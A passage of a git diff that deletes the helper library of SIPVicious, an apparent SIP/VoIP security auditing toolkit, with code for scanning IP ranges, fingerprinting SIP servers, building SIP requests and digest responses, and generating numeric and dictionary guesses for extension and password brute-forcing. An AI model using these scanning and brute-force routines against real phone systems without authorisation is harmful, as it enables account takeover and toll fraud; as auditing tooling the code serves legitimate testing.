_get_depth(data) - - if depth == 2: - data = [data] - else: - assert depth == 3 - - if header: - data = [[header]] + data - - # Make sure the data is consistent - num_columns = len(data[0][0]) - for block in data: - for row in block: - assert len(row) == num_columns - - padding = _create_padding_tuple(padding) - alignments = _create_alignment(alignment, num_columns) - if style is None: - border_chars, block_sep_chars = None, None - else: - if len(style) == 11: - border_chars = style - block_sep_chars = [ - border_chars[6], - border_chars[0], - border_chars[10], - border_chars[7], - ] - else: - assert len(style) == 15 - border_chars = style[:11] - block_sep_chars = style[11:] - - strings = [[[str(item) for item in row] for row in block] for block in data] - - column_widths = _get_column_widths(strings, num_columns) - column_widths_with_padding = [c + padding[1] + padding[3] for c in column_widths] - - # add spaces according to alignment - strings = _align(strings, alignments, column_widths) - - # add spaces according to padding - strings = _add_padding(strings, column_widths, padding) - - # Join `strings` from the innermost to the outermost index. - join_char = border_chars[1] if border_chars else "" - for block in strings: - for k, row in enumerate(block): - block[k] = _hjoin_multiline(join_char, row) - - if border_chars: - bc = border_chars - cwp = column_widths_with_padding - intermediate_border_row = ( - "\n" + bc[6] + bc[10].join([s * bc[0] for s in cwp]) + bc[7] + "\n" - ) - else: - intermediate_border_row = "\n" - - for k, block in enumerate(strings): - strings[k] = intermediate_border_row.join(block) - - if block_sep_chars: - bs = block_sep_chars - block_sep_row = ( - "\n" + bs[0] + bs[2].join([s * bs[1] for s in cwp]) + bs[3] + "\n" - ) - else: - block_sep_row = "\n" - - strings = block_sep_row.join(strings) - - if border_chars: - bc = border_chars - first_border_row = bc[2] + bc[8].join([s * bc[0] for s in cwp]) + bc[3] + "\n" - last_border_row = "\n" + bc[4] + bc[9].join([s * bc[0] for s in cwp]) + bc[5] - else: - first_border_row = "" - last_border_row = "" - out = first_border_row + strings + last_border_row - - return out diff --git a/misc/telecommunications/sipvicious/sipvicious/libs/svhelper.py b/misc/telecommunications/sipvicious/sipvicious/libs/svhelper.py deleted file mode 100644 index 1d1bf93..0000000 --- a/misc/telecommunications/sipvicious/sipvicious/libs/svhelper.py +++ /dev/null @@ -1,1170 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- - -# Helper.py keeps the rest of the tools clean - part of SIPVicious tools -# Copyright (C) 2007-2021 Sandro Gauci -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . - - -__author__ = "Sandro Gauci " -__version__ = '0.3.4' - - -import re -import sys -import traceback -import uuid -import os -import dbm -import socket -import random -import struct -import shutil -import optparse -import logging -from random import getrandbits -from urllib.parse import quote -from binascii import Error as b2aerr -from .pptable import to_string -from binascii import b2a_hex, a2b_hex, hexlify - -if sys.hexversion < 0x03060000: - sys.stderr.write( - "Please update to python 3.6 or greater to run SIPVicious\r\n") - sys.exit(1) - - -class ArgumentParser(optparse.OptionParser): - def error(self, message, code=10): - print(self.get_usage()) - sys.stderr.write('error: %s\r\n' % message) - sys.exit(code) - - -def standardoptions(parser): - parser.add_option('-v', '--verbose', dest="verbose", action="count", - help="Increase verbosity") - parser.add_option('-q', '--quiet', dest="quiet", action="store_true", - default=False, help="Quiet mode") - parser.add_option("-P", "--localport", dest="localport", default=5060, type="int", - help="Source port for our packets", metavar="PORT") - parser.add_option("-x", "--externalip", dest="externalip", - help="IP Address to use as the external ip. Specify this if you have multiple interfaces or if you are behind NAT", metavar="IP") - parser.add_option("-b", "--bindingip", dest="bindingip", default='', - help="By default we bind to all interfaces. This option overrides that and binds to the specified ip address") - parser.add_option("-t", "--timeout", dest="selecttime", type="float", default=0.005, - help="This option allows you to trottle the speed at which packets are sent. Change this if you're losing packets. For example try 0.5.", - metavar="SELECTTIME") - parser.add_option("-R", "--reportback", dest="reportBack", default=False, action="store_true", - help="Send the author an exception traceback. Currently sends the command line parameters and the traceback", - ) - parser.add_option("-A", "--autogetip", dest="autogetip", default=False, action="store_true", - help="Automatically get the current IP address. This is useful when you are not getting any responses back due to SIPVicious not resolving your local IP.") - return parser - - -def standardscanneroptions(parser): - parser.add_option("-s", "--save", dest="save", metavar="NAME", - help="save the session. Has the benefit of allowing you to resume a previous scan and allows you to export scans") - parser.add_option("--resume", dest="resume", help="resume a previous scan", metavar="NAME") - parser.add_option("-c", "--enablecompact", dest="enablecompact", default=False, action="store_true", - help="enable compact mode. Makes packets smaller but possibly less compatible") - return parser - - -def resolveexitcode(newint, existingcode): - if existingcode > newint: - return existingcode - return newint - - -def calcloglevel(options): - logginglevel = 30 - if options.verbose is not None: - if options.verbose >= 3: - logginglevel = 10 - else: - logginglevel = 30 - (options.verbose * 10) - if options.quiet: - logginglevel = 50 - return logginglevel - - -def bindto(bindingip, startport, s): - log = logging.getLogger('bindto') - localport = startport - log.debug("binding to %s:%s" % (bindingip, localport)) - while 1: - if localport > 65535: - log.critical("Could not bind to any port") - return - try: - s.bind((bindingip, localport)) - break - except socket.error: - log.debug("could not bind to %s" % localport) - localport += 1 - if startport != localport: - log.warn("could not bind to %s:%s - some process might already be listening on this port. Listening on port %s instead" % - (bindingip, startport, localport)) - log.info("Make use of the -P option to specify a port to bind to yourself") - return localport, s - - -def getRange(rangestr): - _tmp1 = rangestr.split(',') - numericrange = list() - for _tmp2 in _tmp1: - _tmp3 = _tmp2.split('-', 1) - if len(_tmp3) > 1: - if not (_tmp3[0].isdigit() or _tmp3[1].isdigit()): - raise ValueError("the ranges need to be digits") - startport, endport = list(map(int, [_tmp3[0], _tmp3[1]])) - endport += 1 - numericrange.append(range(startport, endport)) - else: - if not _tmp3[0].isdigit(): - raise ValueError("the ranges need to be digits") - singleport = int(_tmp3[0]) - numericrange.append(anotherxrange(singleport, singleport + 1)) - return numericrange - - -def numericbrute(rangelist, zeropadding=0, template=None, defaults=False, staticbrute=[]): - """numericbrute gives a yield generator. accepts either zeropadding or template as optional argument""" - for statictry in staticbrute: - yield(statictry) - if defaults: - for i in range(1000, 9999, 100): - yield('%04i' % i) - - for i in range(1001, 9999, 100): - yield('%04i' % i) - - for i in range(0, 9): - for l in range(1, 8): - yield(('%s' % i) * l) - - for i in range(100, 999): - yield('%s' % i) - - for i in range(10000, 99999, 100): - yield('%04i' % i) - - for i in range(10001, 99999, 100): - yield('%04i' % i) - - for i in ['1234', '2345', '3456', '4567', '5678', '6789', '7890', '0123']: - yield(i) - - for i in ['12345', '23456', '34567', '45678', '56789', '67890', '01234']: - yield(i) - - if zeropadding > 0: - format = '%%0%su' % zeropadding - elif template is not None: - format = template - else: - format = '%u' - # format string test - format % 1 - for x in rangelist: - for y in x: - r = format % y - yield(r) - - -def dictionaryattack(dictionaryfile): - while 1: - r = dictionaryfile.readline() - if len(r) == 0: - break - yield(r.strip()) - dictionaryfile.flush() - dictionaryfile.close() - - -class genericbrute: - pass - - -def getNonce(pkt): - nonceRE = 'nonce="(.+?)"' - _tmp = re.findall(nonceRE, pkt) - if _tmp is not None: - if len(_tmp) > 0: - return(_tmp[0]) - return None - - -def getOpaque(pkt): - nonceRE = 'opaque="(.+?)"' - _tmp = re.findall(nonceRE, pkt) - if _tmp is not None: - if len(_tmp) > 0: - return(_tmp[0]) - return None - - -def getAlgorithm(pkt): - nonceRE = 'algorithm=(.+?)[,\r]' - _tmp = re.findall(nonceRE, pkt) - if _tmp is not None: - if len(_tmp) > 0: - return(_tmp[0].lower()) - return None - - -def getQop(pkt): - nonceRE = 'qop="(.+?)"' - _tmp = re.findall(nonceRE, pkt) - if _tmp is not None: - if len(_tmp) > 0: - return(_tmp[0]) - return None - - -def getRealm(pkt): - nonceRE = 'realm="(.+?)"' - _tmp = re.findall(nonceRE, pkt) - if _tmp is not None: - if len(_tmp) > 0: - return(_tmp[0]) - return None - - -def getCID(pkt): - cidRE = 'Call-ID: ([:a-zA-Z0-9]+)' - _tmp = re.findall(cidRE, pkt, re.I) - if _tmp is not None: - if len(_tmp) > 0: - return(_tmp[0]) - return None - - -def mysendto(sock, data, dst): - while data: - # SIP RFC states the default serialized encoding is utf-8 - bytes_sent = sock.sendto(bytes(data[:8192], 'utf-8'), dst) - data = data[bytes_sent:] - - -def parseSDP(buff): - r = dict() - for line in buff.splitlines(): - _tmp = line.split('=', 1) - if len(_tmp) == 2: - k, v = _tmp - if k not in r: - r[k] = list() - r[k].append(v) - return r - - -def getAudioPort(sdp): - if 'm' in sdp: - for media in sdp['m']: - if media.startswith('audio'): - mediasplit = media.split() - if len(mediasplit) > 2: - port = mediasplit[1] - return port - - -def getAudioIP(sdp): - if 'c' in sdp: - for connect in sdp['c']: - if connect.startswith('IN IP4'): - connectsplit = connect.split() - if len(connectsplit) > 2: - ip = connectsplit[2] - return ip - - -def getSDP(buff): - sip = parseHeader(buff) - if 'body' in sip: - body = sip['body'] - sdp = parseSDP(body) - return sdp - - -def getAudioIPFromBuff(buff): - sdp = getSDP(buff) - if sdp is not None: - return getAudioIP(sdp) - - -def getAudioPortFromBuff(buff): - sdp = getSDP(buff) - if sdp is not None: - return getAudioPort(sdp) - - -def parseHeader(buff, type='response'): - SEP = '\r\n\r\n' - HeadersSEP = '\r*\n(?![\t\x20])' - log = logging.getLogger('parseHeader') - if SEP in buff: - header, body = buff.split(SEP, 1) - else: - header = buff - body = '' - headerlines = re.split(HeadersSEP, header) - - if len(headerlines) > 1: - r = dict() - if type == 'response': - _t = headerlines[0].split(' ', 2) - if len(_t) == 3: - _, _code, _ = _t - else: - log.warn('Could not parse the first header line: %s' % _t.__repr__()) - return r - try: - r['code'] = int(_code) - except ValueError: - return r - elif type == 'request': - _t = headerlines[0].split(' ', 2) - #if len(_t) == 3: - # method, uri, sipversion = _t - else: - log.warn('Could not parse the first header line: %s' % headerlines[0]) - return r - r['headers'] = dict() - for headerline in headerlines[1:]: - SEP = ':' - if SEP in headerline: - tmpname, tmpval = headerline.split(SEP, 1) - name = tmpname.lower().strip() - val = list(map(lambda x: x.strip(), tmpval.split(','))) - else: - name, val = headerline.lower(), None - r['headers'][name] = val - r['body'] = body - return r - - -def fingerPrint(request, src=None, dst=None): - # work needs to be done here - server = dict() - if 'headers' in request: - header = request['headers'] - if (src is not None) and (dst is not None): - server['ip'] = src[0] - server['srcport'] = src[1] - if server['srcport'] == dst[1]: - server['behindnat'] = False - else: - server['behindnat'] = True - if 'user-agent' in header: - server['name'] = header['user-agent'] - server['uatype'] = 'uac' - if 'server' in header: - server['name'] = header['server'] - server['uatype'] = 'uas' - if 'contact' in header: - m = re.match('', header['contact'][0]) - if m: - server['contactip'] = m.group(1) - if 'supported' in header: - server['supported'] = header['supported'] - if 'accept-language' in header: - server['accept-language'] = header['accept-language'] - if 'allow-events' in header: - server['allow-events'] = header['allow-events'] - if 'allow' in header: - server['allow'] = header['allow'] - return server - - -def fingerPrintPacket(buff, src=None): - header = parseHeader(buff) - if header is not None: - return fingerPrint(header, src) - - -def getCredentials(buff): - data = getTag(buff) - if data is None: - return - userpass = data.split(b':') - if len(userpass) > 0: - return(userpass) - - -def getTag(buff): - tagRE = r'(From|f): .*?\;\s*tag=([=+/\.:a-zA-Z0-9_]+)' - _tmp = re.findall(tagRE, buff) - if _tmp is not None: - if len(_tmp) > 0: - _tmp2 = _tmp[0][1] - try: - _tmp2 = a2b_hex(_tmp2.strip()) - except (TypeError, b2aerr): - return - if _tmp2.find(b'\x01') > 0: - try: - c, _ = _tmp2.split(b'\x01') - except ValueError: - c = 'svcrash detected' - else: - c = _tmp2 - return c - - -def createTag(data): - rnd = getrandbits(32) - return b2a_hex(str(data).encode('utf-8') + b'\x01' + str(rnd).encode('utf-8')) - - -def getToTag(buff): - tagRE = r'(To|t): .*?\;\s*tag=([=+/\.:a-zA-Z0-9_]+)' - _tmp = re.findall(tagRE, buff) - if _tmp is not None: - if len(_tmp) > 0: - _tmp2 = _tmp[0][1] - return _tmp2 - return - - -def challengeResponse(auth, method, uri): - from hashlib import md5 - username = auth["username"] - realm = auth["realm"] - passwd = auth["password"] - nonce = auth["nonce"] - opaque = auth["opaque"] - algorithm = auth["algorithm"] - cnonce = "" - qop = None - if auth["qop"] != None: - qop = auth["qop"].split(',')[0] - result = 'Digest username="%s",realm="%s",nonce="%s",uri="%s"' % ( - username, realm, nonce, uri) - if algorithm == "md5-sess" or qop == "auth": - cnonce = uuid.uuid4().hex - nonceCount = "%08d" % auth["noncecount"] - result += ',cnonce="%s",nc=%s' % (cnonce, nonceCount) - if algorithm is None or algorithm == "md5": - ha1 = md5(('%s:%s:%s' % (username, realm, passwd)).encode('utf-8')).hexdigest() - result += ',algorithm=MD5' - elif auth["algorithm"] == "md5-sess": - ha1 = md5((md5(('%s:%s:%s' % (username, realm, passwd)).encode('utf-8') - ).hexdigest() + ":" + nonce + ":" + cnonce).encode('utf-8')).hexdigest() - result += ',algorithm=MD5-sess' - else: - print("Unknown algorithm: %s" % auth["algorithm"]) - if qop is None or qop == "auth": - ha2 = md5(('%s:%s' % (method, uri)).encode('utf-8')).hexdigest() - result += ',qop=auth' - if qop == "auth-int": - print("auth-int is not supported") - if qop == "auth": - res = md5((ha1 + ":" + nonce + ":" + nonceCount + ":" + - cnonce + ":" + qop + ":" + ha2).encode('utf-8')).hexdigest() - else: - res = md5(('%s:%s:%s' % (ha1, nonce, ha2)).encode('utf-8')).hexdigest() - result += ',response="%s"' % res - if opaque is not None and opaque != "": - result += ',opaque="%s"' % opaque - return result - - -def makeRedirect(previousHeaders, rediraddr): - response = 'SIP/2.0 301 Moved Permanently\r\n' - superheaders = dict() - headers = dict() - superheaders['Via'] = ' '.join(previousHeaders['headers']['via']) - headers['Contact'] = '<%s>' % (rediraddr) - headers['To'] = ' '.join(previousHeaders['headers']['to']) - headers['From'] = ' '.join(previousHeaders['headers']['from']) - headers['Call-ID'] = ' '.join(previousHeaders['headers']['call-id']) - headers['CSeq'] = ' '.join(previousHeaders['headers']['cseq']) - r = response - for h in superheaders.items(): - r += '%s: %s\r\n' % h - for h in headers.items(): - r += '%s: %s\r\n' % h - r += '\r\n' - return(r) - - -def makeRequest(method, fromaddr, toaddr, dsthost, port, callid, srchost='', branchunique=None, cseq=1, - auth=None, localtag=None, compact=False, contact='sip:123@1.1.1.1', accept='application/sdp', contentlength=None, - localport=5060, extension=None, contenttype=None, body='', useragent='friendly-scanner', requesturi=None): - """makeRequest builds up a SIP request - method - OPTIONS / INVITE etc - toaddr = to address - dsthost = destination host - port = destination port - callid = callerid - srchost = source host - """ - if extension is None or method == 'REGISTER': - uri = 'sip:%s' % dsthost - else: - uri = 'sip:%s@%s' % (extension, dsthost) - if branchunique is None: - branchunique = '%s' % random.getrandbits(32) - headers = dict() - finalheaders = dict() - superheaders = dict() - if method == 'ACK': - localtag = None - if compact: - superheaders[ - 'v'] = 'SIP/2.0/UDP %s:%s;branch=z9hG4bK-%s;rport' % (srchost, port, branchunique) - headers['t'] = toaddr - headers['f'] = fromaddr - if localtag is not None: - headers['f'] += ';tag=%s' % localtag.decode('utf-8', 'ignore') - headers['i'] = callid - # if contact is not None: - headers['m'] = contact - else: - superheaders[ - 'Via'] = 'SIP/2.0/UDP %s:%s;branch=z9hG4bK-%s;rport' % (srchost, localport, branchunique) - headers['Max-Forwards'] = 70 - headers['To'] = toaddr - headers['From'] = fromaddr - headers['User-Agent'] = useragent - if localtag is not None: - headers['From'] += ';tag=%s' % localtag.decode('utf-8', 'ignore') - headers['Call-ID'] = callid - # if contact is not None: - headers['Contact'] = contact - headers['CSeq'] = '%s %s' % (cseq, method) - headers['Max-Forwards'] = 70 - headers['Accept'] = accept - if contentlength is None: - headers['Content-Length'] = len(body) - else: - headers['Content-Length'] = contentlength - if contenttype is None and len(body) > 0: - contenttype = 'application/sdp' - if contenttype is not None: - headers['Content-Type'] = contenttype - if auth is not None: - response = challengeResponse(auth, method, uri) - if auth['proxy']: - finalheaders['Proxy-Authorization'] = response - else: - finalheaders['Authorization'] = response - - r = '%s %s SIP/2.0\r\n' % (method, uri) - if requesturi is not None: - r = '%s %s SIP/2.0\r\n' % (method, requesturi) - for h in superheaders.items(): - r += '%s: %s\r\n' % h - for h in headers.items(): - r += '%s: %s\r\n' % h - for h in finalheaders.items(): - r += '%s: %s\r\n' % h - r += '\r\n' - r += body - return(r) - - -def reportBugToAuthor(err): - print('Make sure you are running the latest version of SIPVicious by running "git pull" in the current directory and then python setup.py install') - print('Please visit the following URL to open a bug report: https://github.com/EnableSecurity/sipvicious/issues/new?assignees=&labels=bug&template=bug-report.md&title='+ quote("SIPVicious "+__version__+" crashing on "+ err.__str__())) - print('Include the following information:') - print('CLI params:', ' '.join(sys.argv)) - print('Python version:', sys.version) - print('OS:', os.name) - if os.name == 'posix': - print('uname:', os.uname()) - print('Full trace:') - print(traceback.format_exc()) - - -def scanlist(iprange, portranges, methods): - for ip in iter(iprange): - for portrange in portranges: - for port in portrange: - for method in methods: - yield(ip, port, method) - - -def scanrandom(ipranges, portranges, methods, resume=None, randomstore='.sipvicious_random'): - # if the ipranges intersect then we go infinate .. we prevent that - # example: 127.0.0.1 127.0.0.1/24 - log = logging.getLogger('scanrandom') - mode = 'n' - if resume: - mode = 'c' - database = dbm.open(os.path.join( - os.path.expanduser('~'), randomstore), mode) - dbsyncs = False - try: - database.sync() - dbsyncs = True - except AttributeError: - pass - ipsleft = 0 - for iprange in ipranges: - if iprange is None: - continue - startip, endip = iprange - ipsleft += endip - startip + 1 - hit = 0 - for iprange2 in ipranges: - startip2, endip2 = iprange2 - if startip <= startip2: - if endip2 <= endip: - hit += 1 - if hit > 1: - log.error( - 'Cannot use random scan and try to hit the same ip twice') - return - if resume: - ipsleft -= len(database) - log.debug('scanning a total of %s ips' % ipsleft) - while ipsleft > 0: - randomchoice = random.choice(ipranges) - #randomchoice = [0,4294967295L] - randint = random.randint(*randomchoice) - ip = numToDottedQuad(randint) - ipfound = False - if dbsyncs: - if ip not in database: - ipfound = True - else: - if ip not in database.keys(): - ipfound = True - if ipfound: - database[ip] = '' - for portrange in portranges: - for port in portrange: - for method in methods: - ipsleft -= 1 - yield(ip, port, method) - else: - log.debug('found dup %s' % ip) - - -def scanfromfile(csv, methods): - for row in csv: - (dstip, dstport, _, _, _) = row - for method in methods: - yield(dstip, int(dstport), method) - - -def dottedQuadToNum(ip): - "convert decimal dotted quad string to long integer" - return struct.unpack('!L', socket.inet_aton(ip))[0] - - -def numToDottedQuad(n): - "convert long int to dotted quad string" - return socket.inet_ntoa(struct.pack('!L', n)) - - -def colonHexToNum(ip): - "convert ipv6 address to long integer" - return int(hexlify(socket.inet_pton(socket.AF_INET6, ip)), 16) - - -def ip4range(*args): - for arg in args: - r = getranges(arg) - if r is None: - continue - startip, endip = r - curip = startip - while curip <= endip: - yield(numToDottedQuad(curip)) - curip += 1 - - -def ip6range(*args): - for arg in args: - if check_ipv6(arg): - yield(arg) - - -def getranges(ipstring): - from sipvicious import svmap - log = logging.getLogger('getranges') - if re.match( - r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', - ipstring - ): - naddr1, naddr2 = list(map(dottedQuadToNum, ipstring.split('-'))) - elif re.match( - r'^(\d{1,3}(-\d{1,3})*)\.(\*|\d{1,3}(-\d{1,3})*)\.(\*|\d{1,3}(-\d{1,3})*)\.(\*|\d{1,3}(-\d{1,3})*)$', - ipstring - ): - naddr1, naddr2 = list(map(dottedQuadToNum, getranges2(ipstring))) - elif re.match( - r'^.*?\/\d{,2}$', - ipstring - ): - r = getmaskranges(ipstring) - if r is None: - return - naddr1, naddr2 = r - else: - # we attempt to resolve the host - try: - naddr1 = dottedQuadToNum(socket.gethostbyname(ipstring)) - naddr2 = naddr1 - except socket.error: - log.error('Could not resolve %s' % ipstring) - svmap.__exitcode__ = 30 # network error - return - # UnicodeError is raised by the idna library when a malformed IP - # is passed to socket.gethostbyname(). e.g. gethostbyname('1.1..1') - except UnicodeError: - log.error('Malformed target supplied: %s' % ipstring) - svmap.__exitcode__ = resolveexitcode(10, svmap.__exitcode__) - return - return naddr1, naddr2 - - -def getranges2(ipstring): - _tmp = ipstring.split('.') - if len(_tmp) != 4: - raise ValueError("needs to be a Quad dotted ip") - _tmp2 = list(map(lambda x: x.split('-'), _tmp)) - startip = list() - endip = list() - for dot in _tmp2: - if dot[0] == '*': - startip.append('0') - endip.append('255') - elif len(dot) == 1: - startip.append(dot[0]) - endip.append(dot[0]) - elif len(dot) == 2: - startip.append(dot[0]) - endip.append(dot[1]) - naddr1 = '.'.join(startip) - naddr2 = '.'.join(endip) - return(naddr1, naddr2) - - -def getmaskranges(ipstring): - log = logging.getLogger('getmaskranges') - addr, mask = ipstring.rsplit('/', 1) - if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', addr): - try: - log.debug('Could not resolve %s' % addr) - addr = socket.gethostbyname(addr) - except socket.error: - return - assert(mask.isdigit()), "invalid IP mask (1)" - naddr = dottedQuadToNum(addr) - masklen = int(mask) - assert(0 <= masklen <= 32), "invalid IP mask (2)" - naddr1 = naddr & (((1 << masklen) - 1) << (32 - masklen)) - naddr2 = naddr1 + (1 << (32 - masklen)) - 1 - return (naddr1, naddr2) - - -def scanfromdb(db, methods): - database = dbm.open(db, 'r') - for k in database.keys(): - for method in methods: - ip, port = k.split(':') - port = int(port) - yield(ip, port, method) - - -def resumeFromIP(ip, args): - ipranges = list() - foundit = False - rargs = list() - nip = dottedQuadToNum(ip) - for arg in args: - if arg is None: - continue - startip, endip = getranges(arg) - if not foundit: - if startip <= nip and endip >= nip: - ipranges.append((nip, endip)) - foundit = True - else: - ipranges.append((startip, endip)) - for iprange in ipranges: - rargs.append('-'.join(map(numToDottedQuad, iprange))) - return rargs - - -def resumeFrom(val, rangestr): - val = int(val) - ranges = list(map(lambda x: map(int, x.split('-')), rangestr.split(','))) - foundit = False - tmp = list() - for r in ranges: - start, end = r - if not foundit: - if start <= val and end >= val: - tmp.append((val, end)) - foundit = True - else: - tmp.append((start, end)) - return ','.join(map(lambda x: '-'.join(map(str, x)), tmp)) - - -def packetcounter(n): - i = 0 - while 1: - if i == n: - i = 0 - r = True - else: - i += 1 - r = False - yield(r) - -sessiontypes = ['svmap', 'svwar', 'svcrack'] - - -def findsession(chosensessiontype=None): - listresult = dict() - for sessiontype in sessiontypes: - if chosensessiontype in [None, sessiontype]: - p = os.path.join(os.path.expanduser( - '~'), '.sipvicious', sessiontype) - if os.path.exists(p): - listresult[sessiontype] = os.listdir(p) - return listresult - - -def listsessions(chosensessiontype=None, count=False): - listresult = findsession(chosensessiontype) - for k in listresult.keys(): - print("Type of scan: %s" % k) - for r in listresult[k]: - sessionstatus = 'Incomplete' - sessionpath = os.path.join( - os.path.expanduser('~'), '.sipvicious', k, r) - dblen = '' - if count: - if k == 'svmap': - dbloc = os.path.join(sessionpath, 'resultua') - elif k == 'svwar': - dbloc = os.path.join(sessionpath, 'resultauth') - elif k == 'svcrack': - dbloc = os.path.join(sessionpath, 'resultpasswd') - if not os.path.exists(dbloc): - logging.debug( - 'The database could not be found: %s' % dbloc) - else: - db = dbm.open(dbloc, 'r') - dblen = len(db) - if os.path.exists(os.path.join(sessionpath, 'closed')): - sessionstatus = 'Complete' - print("\t- %s\t\t%s\t\t%s\n" % (r, sessionstatus, dblen)) - - -def deletesessions(chosensession, chosensessiontype): - log = logging.getLogger('deletesessions') - sessionpath = list() - if chosensessiontype is None: - for sessiontype in sessiontypes: - p = os.path.join(os.path.expanduser( - '~'), '.sipvicious', sessiontype, chosensession) - if os.path.exists(p): - sessionpath.append(p) - else: - p = os.path.join(os.path.expanduser('~'), '.sipvicious', - chosensessiontype, chosensession) - if os.path.exists(p): - sessionpath.append(p) - if len(sessionpath) == 0: - return - for sp in sessionpath: - try: - shutil.rmtree(sp) - log.info("Session at %s was removed" % sp) - except OSError: - log.error("Could not delete %s" % sp) - return sessionpath - - -def createReverseLookup(src, dst): - log = logging.getLogger('createReverseLookup') - #srcdb = anydbm.open(src,'r') - #dstdb = anydbm.open(dst,'n') - srcdb = src - dstdb = dst - if len(srcdb) > 100: - log.warn("Performing dns lookup on %s hosts. To disable reverse ip resolution make use of the -n option" % len(srcdb)) - for k in srcdb.keys(): - tmp = k.split(b':', 1) - if len(tmp) == 2: - ajpi, port = tmp - try: - tmpk = ':'.join([socket.gethostbyaddr(ajpi.decode())[0], port.decode()]) - logging.debug('Resolved %s to %s' % (k, tmpk)) - dstdb[k] = tmpk - except socket.error: - logging.info('Could not resolve %s' % k) - pass - # srcdb.close() - # dstdb.close() - return dstdb - - -def getasciitable(labels, db, resdb=None, width=60): - rows = list() - for k in db.keys(): - cols = [k.decode(), db[k].decode()] - if resdb is not None: - if k in resdb: - cols.append(resdb[k].decode()) - else: - cols.append('[not available]') - rows.append(cols) - o = to_string(rows, header=labels) - return o - - -def outputtoxml(title, labels, db, resdb=None, xsl='resources/sv.xsl'): - from xml.sax.saxutils import escape - o = '\r\n' - o += '\r\n' % escape(xsl) - o += '\r\n' - o += '%s\r\n' % escape(title) - o += '\r\n' - for label in labels: - o += '\r\n' % escape(label) - o += '\r\n' - o += '\r\n' - for k in db.keys(): - o += '\r\n' - o += '<%s>%s\r\n' % (labels[0].replace( - ' ', '').lower(), k.decode(), escape(labels[0]).replace(' ', '').lower()) - o += '<%s>%s\r\n' % (labels[1].replace( - ' ', '').lower(), escape(db[k].decode()), labels[1].replace(' ', '').lower()) - if resdb is not None: - if k in resdb: - o += '<%s>%s\r\n' % (labels[2].replace( - ' ', '').lower(), escape(resdb[k].decode()), labels[2].replace(' ', '').lower()) - else: - o += '<%s>N/A\r\n' % (labels[2].replace( - ' ', '').lower(), labels[2].replace(' ', '').lower()) - o += '\r\n' - o += '\r\n' - o += '\r\n' - return o - - -def getsessionpath(session, sessiontype): - log = logging.getLogger('getsessionpath') - sessiontypes = ['svmap', 'svwar', 'svcrack'] - sessionpath = None - if sessiontype is None: - log.debug('sessiontype is not specified') - for sessiontype in sessiontypes: - p = os.path.join(os.path.expanduser( - '~'), '.sipvicious', sessiontype, session) - log.debug('trying %s' % p) - if os.path.exists(p): - log.debug('%s exists') - log.debug('sessiontype is %s' % sessiontype) - sessionpath = p - break - else: - p = os.path.join(os.path.expanduser( - '~'), '.sipvicious', sessiontype, session) - if os.path.exists(p): - sessionpath = p - if sessionpath is None: - return - return sessionpath, sessiontype - - -def dbexists(name): - if os.path.exists(name): - return True - elif os.path.exists(name + '.db'): - return True - return False - - -def outputtopdf(outputfile, title, labels, db, resdb): - log = logging.getLogger('outputtopdf') - try: - from reportlab.platypus import TableStyle, Table, SimpleDocTemplate, Paragraph - from reportlab.lib import colors - from reportlab.lib.styles import getSampleStyleSheet - except ImportError: - log.error( - 'Reportlab was not found. To export to pdf you need to have reportlab installed. Check out www.reportlab.org') - return - log.debug('ok reportlab library found') - styles = getSampleStyleSheet() - rows = list() - rows.append(labels) - for k in db.keys(): - cols = [k, db[k]] - if resdb is not None: - if k in resdb: - cols.append(resdb[k]) - else: - cols.append('N/A') - rows.append(cols) - t = Table(rows) - mytable = TableStyle([('BACKGROUND', (0, 0), (-1, 0), colors.black), - ('TEXTCOLOR', (0, 0), (-1, 0), colors.white)]) - t.setStyle(mytable) - doc = SimpleDocTemplate(outputfile) - elements = [] - style = styles["Heading1"] - Title = Paragraph(title, style) - elements.append(Title) - elements.append(t) - doc.build(elements) - - -class anotherxrange(object): - """A pure-python implementation of xrange. - - Can handle float/long start/stop/step arguments and slice indexing""" - - __slots__ = ['_slice'] - - def __init__(self, *args): - self._slice = slice(*args) - if self._slice.stop is None: - # slice(*args) will never put None in stop unless it was - # given as None explicitly. - raise TypeError("xrange stop must not be None") - - @property - def start(self): - if self._slice.start is not None: - return self._slice.start - return 0 - - @property - def stop(self): - return self._slice.stop - - @property - def step(self): - if self._slice.step is not None: - return self._slice.step - return 1 - - def __hash__(self): - return hash(self._slice) - - # Commented out this due to being redundant - #def __cmp__(self, other): - # return (cmp(type(self), type(other)) or - # cmp(self._slice, other._slice)) - - def __repr__(self): - return '%s(%r, %r, %r)' % (self.__class__.__name__, - self.start, self.stop, self.step) - - def __len__(self): - return self._len() - - def _len(self): - return max(0, int((self.stop - self.start) / self.step)) - - def __getitem__(self, index): - if isinstance(index, slice): - start, stop, step = index.indices(self._len()) - return range(self._index(start), - self._index(stop), step * self.step) - elif isinstance(index, int): - if index < 0: - fixed_index = index + self._len() - else: - fixed_index = index - - if not 0 <= fixed_index < self._len(): - raise IndexError("Index %d out of %r" % (index, self)) - - return self._index(fixed_index) - else: - raise TypeError("xrange indices must be slices or integers") - - def _index(self, i): - return self.start + self.step * i - - -def getTargetFromSRV(domainnames, methods): - log = logging.getLogger('getTargetFromSRV') - try: - import dns - import dns.resolver - except ImportError: - log.critical( - 'could not import the DNS library. Get it from http://www.dnspython.org/') - return - for domainname in domainnames: - for proto in ['udp', 'tcp']: - name = '_sip._' + proto + '.' + domainname + '.' - try: - log.debug('trying to resolve SRV for %s' % name) - ans = dns.resolver.query(name, 'SRV') - except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer) as err: - log.debug('Encountered error: %s' % err.__str__()) - log.info('Could not resolve %s' % name) - continue - for a in ans.response.answer: - log.info('got an answer %s' % a.to_text()) - for _tmp in a: - for method in methods: - try: - hostname = socket.gethostbyname( - _tmp.target.to_text()) - except socket.error: - log.warn("%s could not be resolved" % - _tmp.target.to_text()) - continue - log.debug("%s resolved to %s" % - (_tmp.target.to_text(), hostname)) - yield(hostname, 